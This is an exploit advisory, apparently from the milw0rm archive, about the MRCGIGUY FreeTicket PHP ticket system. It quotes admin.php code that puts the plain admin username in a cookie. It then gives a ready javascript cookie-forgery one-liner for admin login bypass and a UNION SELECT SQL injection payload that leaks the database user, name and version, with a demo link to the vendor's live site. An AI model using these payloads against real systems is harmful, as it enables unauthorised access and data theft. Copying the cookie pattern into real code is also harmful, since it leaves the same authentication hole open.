mrcgiguy freeticket - Cookie Handling / SQL Injection

Author: ThE g0bL!N
type: webapps
platform: php
port: 
date_added: 2009-06-09 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

MRCGIGUY FreeTicket Multiple Remote Vulnerabilities
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Download: http://www.mrcgiguy.com/cgi-bin/freedown.cgi?id=1
Vendor:http://www.mrcgiguy.com
Special Thx:  Snakespc His0k4
Note: Algerie 3-1 Egypt
Exploit:
------
Cookies insecure
----------------
File:
----
admin.php
Code:
---
if (($checkid == $adminuser) && ($checkpass == $adminpass)) {$opid = $adminuser;} => First
 if ($opid) {
  setcookie("freeticket_cookie", "$opid", time()+86400); => Second
  header("location: $baseurl");
  exit;
  Exploit:
  -------
  javascript:document.cookie="freeticket_cookie=[admin_name];path=/freeticket/";

 2) SQL Injection: (out of cookies)
    --------------
    admin.php?action=viewticket&id=[sql code ]

    [sql code]=156+union+select+1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,6,7,8,9,10--
    Demo:
    ----
    http://www.mrcgiguy.com/freeticket/admin.php

# milw0rm.com [2009-06-10]